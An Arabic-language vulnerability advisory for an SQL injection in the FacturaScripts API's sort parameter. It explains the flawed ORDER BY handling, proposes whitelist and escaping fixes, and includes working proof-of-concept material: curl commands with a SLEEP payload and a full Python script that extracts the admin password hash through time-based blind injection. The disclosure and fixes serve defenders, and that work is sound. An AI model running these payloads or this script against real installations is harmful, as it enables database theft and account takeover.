
CVE-2026-25513 - يحتوي FacturaScripts على ثغرة حقن SQL في جملة ORDER BY في واجهة برمجة التطبيقات (API)
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-25513 |
| الخطورة | عالية (HIGH) |
| الإشعار الأمني | عرض الإشعار |
| اكتشفها | Lukasz Rybak |
يحتوي FacturaScripts على ثغرة حرجة في حقن SQL في REST API تسمح للمستخدمين المُصادَق عليهم لواجهة API بتنفيذ استعلامات SQL تعسفية عبر معامل sort. توجد الثغرة في طريقة ModelClass::getOrderBy() حيث يتم دمج معاملات الفرز المقدمة من المستخدم مباشرةً في جملة ORDER BY الخاصة بـ SQL دون أي تحقق أو تنظيف. يؤثر هذا على جميع نقاط نهاية API التي تدعم وظيفة الفرز.
يعرض REST API الخاص بـ FacturaScripts نماذج قاعدة البيانات عبر نقاط نهاية متعددة (مثل /api/3/users و /api/3/attachedfiles و /api/3/customers). تدعم هذه النقاط معامل sort الذي يسمح للعملاء بتحديد ترتيب النتائج. تعالج API هذا المعامل عبر طريقة ModelClass::all() التي تستدعي الدالة القابلة للاستغلال getOrderBy().
1. النماذج القديمة (Legacy Models):
الملف: /Core/Model/Base/ModelClass.php
الطريقة: getOrderBy()
دمج مباشر للمفاتيح والقيم من مصفوفة $order.
2. النماذج الحديثة (DbQuery):
الملف: /Core/DbQuery.php
الطريقة: orderBy()
الأسطر: 255-259
// If it contains parentheses, it is not escaped (VULNERABILITY!)
if (strpos($field, '(') !== false && strpos($field, ')') !== false) {
$this->orderBy[] = $field . ' ' . $order;
return $this;
}
يهدف هذا الفحص إلى السماح بدوال SQL لكنه يفشل في التحقق منها، مما يسمح بحقن SQL تعسفي.
نظرًا لأن FacturaScripts يتطلب مفتاح API موجودًا مسبقًا، فإننا نسجّل الدخول أولاً عبر واجهة الويب للعثور على مفتاح صالح.
1. تسجيل الدخول واسترداد مفتاح API صالح: نتعامل مع رمز CSRF وملفات تعريف الارتباط الخاصة بالجلسة للوصول إلى الإعدادات واسترداد أول مفتاح متاح.
# Login
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+' | head -n 1)
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" -d "fsPassword=admin" -d "action=login" -d "multireqtoken=$TOKEN"
# Find the ID of the first existing API key
API_ID=$(curl -s -b cookies.txt "http://localhost:8091/EditSettings?activetab=ListApiKey" | grep -Po 'EditApiKey\?code=\K\d+' | head -n 1)
# Extract the API key string using its ID
API_KEY=$(curl -s -b cookies.txt "http://localhost:8091/EditApiKey?code=$API_ID" | grep -Po 'name="apikey" value="\K[^"]+' | head -n 1)
echo "Using API Key: $API_KEY"
2. التحقق من حقن SQL القائم على الوقت:
استخدم API_KEY المستخرج في ترويسة X-Auth-Token.
# Normal request (baseline)
time curl -g -s -H "X-Auth-Token: $API_KEY" "http://localhost:8091/api/3/users?limit=1"
# Injected request (SLEEP payload in the sort key)
time curl -g -s -H "X-Auth-Token: $API_KEY" \
"http://localhost:8091/api/3/users?limit=1&sort[nick,(SELECT(SLEEP(3)))]=ASC"
النتيجة المتوقعة: سيستغرق الطلب المُحقَن وقتًا أطول بشكل ملحوظ (يعتمد التأخير على سجلات قاعدة البيانات)، مما يؤكد وجود حقن SQL.
يقوم هذا السكربت تلقائيًا بتسجيل الدخول إلى FacturaScripts، واسترداد مفتاح API صالح، وتنفيذ استخراج بيانات حساس لحالة الأحرف باستخدام حقن SQL أعمى قائم على الوقت.
import requests
import time
import string
import re
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
API_ENDPOINT = "/api/3/users"
session = requests.Session()
def get_token(url):
"""Extract multireqtoken from any page"""
res = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', res.text)
return match.group(1) if match else None
def get_api_key():
"""Logs in and retrieves the first active API key dynamically"""
print(f"[*] Logging in as {USERNAME}...")
# 1. Login flow
token = get_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get initial CSRF token")
return None
login_data = {
"fsNick": USERNAME,
"fsPassword": PASSWORD,
"action": "login",
"multireqtoken": token
}
res = session.post(f"{BASE_URL}/login", data=login_data)
if "Dashboard" not in res.text:
print("[!] Login failed!")
return None
print("[+] Login successful.")
# 2. Retrieve API Key ID from settings
print("[*] Accessing API settings...")
res = session.get(f"{BASE_URL}/EditSettings?activetab=ListApiKey")
id_match = re.search(r'EditApiKey\?code=(\d+)', res.text)
if not id_match:
print("[!] No API keys found in system!")
return None
api_id = id_match.group(1)
# 3. Get the actual API key string
print(f"[*] Retrieving API key for ID {api_id}...")
res = session.get(f"{BASE_URL}/EditApiKey?code={api_id}")
key_match = re.search(r'name="apikey" value="([^"]+)"', res.text)
if not key_match:
print("[!] Failed to extract API key from page!")
return None
return key_match.group(1)
def time_based_sqli(api_key, payload):
"""Execute time-based SQL injection and measure response time"""
headers = {"X-Auth-Token": api_key}
params = {
'limit': 1,
f'sort[{payload}]': 'ASC'
}
start = time.time()
try:
requests.get(f"{BASE_URL}{API_ENDPOINT}", headers=headers, params=params, timeout=10)
except requests.exceptions.ReadTimeout:
return 10.0
except:
pass
return time.time() - start
def extract_data(api_key, query, length=60):
"""Extracts data char by char using time-based blind SQLi"""
extracted = ""
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./"
print(f"[*] Starting extraction for query: {query}")
for i in range(1, length + 1):
found = False
for char in charset:
# Added BINARY to force case-sensitive comparison
payload = f"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))"
elapsed = time_based_sqli(api_key, payload)
if elapsed >= 2.0:
extracted += char
print(f"[+] Found char at pos {i}: {char} -> {extracted}")
found = True
break
if not found:
break
return extracted
def main():
print("="*60)
print(" FacturaScripts Dynamic SQLi Exfiltration Tool")
print("="*60)
# 1. Get API Key dynamically
api_key = get_api_key()
if not api_key:
return
print(f"[+] Using API Key: {api_key}")
# 2. Verify vulnerability
print("[*] Verifying vulnerability...")
if time_based_sqli(api_key, "(SELECT SLEEP(2))") >= 2.0:
print("[+] System is VULNERABLE!")
else:
print("[-] System not vulnerable or API key invalid.")
return
# 3. Extract Admin Password Hash
admin_hash = extract_data(api_key, "SELECT password FROM users WHERE nick='admin'")
print(f"\n[!] FINAL ADMIN HASH: {admin_hash}")
if __name__ == "__main__":
main()
الخيار 1: تنفيذ تحقق صارم بالقائمة البيضاء (موصى به)
// File: Core/Model/Base/ModelClass.php
// Method: getOrderBy()
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
// Get valid column names from model
$validColumns = array_keys(static::getModelFields());
foreach ($order as $key => $value) {
// Validate column name against whitelist
if (!in_array($key, $validColumns, true)) {
throw new \Exception('Invalid column name for sorting: ' . $key);
}
// Validate sort direction (must be ASC or DESC)
$value = strtoupper(trim($value));
if (!in_array($value, ['ASC', 'DESC'], true)) {
throw new \Exception('Invalid sort direction: ' . $value);
}
// Escape column name
$safeColumn = self::$dataBase->escapeColumn($key);
$result .= $coma . $safeColumn . ' ' . $value;
$coma = ', ';
}
return $result;
}
الخيار 2: استخدام دوال تهريب قاعدة البيانات
private static function getOrderBy(array $order): string
{
$result = '';
$coma = ' ORDER BY ';
foreach ($order as $key => $value) {
// Escape identifiers and validate direction
$safeColumn = self::$dataBase->escapeColumn($key);
$safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])
? strtoupper($value)
: 'ASC';
$result .= $coma . $safeColumn . ' ' . $safeDirection;
$coma = ', ';
}
return $result;
}
الخيار 3: استخدام نمط منشئ الاستعلامات (Query Builder)
// Refactor to use prepared statements
public static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array
{
$query = self::table();
// Apply WHERE conditions
foreach ($where as $condition) {
$query->where($condition);
}
// Apply ORDER BY with validation
foreach ($order as $column => $direction) {
if (!array_key_exists($column, static::getModelFields())) {
continue; // Skip invalid columns
}
$query->orderBy($column, $direction);
}
return $query->offset($offset)->limit($limit)->get();
}
// Add to API configuration
$config = [
'max_sort_fields' => 3, // Limit number of sort fields
'allowed_sort_fields' => ['id', 'date', 'name'], // Whitelist
'default_sort' => 'id ASC', // Safe default
];
اكتشفها: Łukasz Rybak
تم الإفصاح عن هذا CVE بشكل مسؤول وفقًا لممارسات الإفصاح المنسق عن الثغرات. المعلومات الواردة هنا لأغراض تعليمية ودفاعية فقط.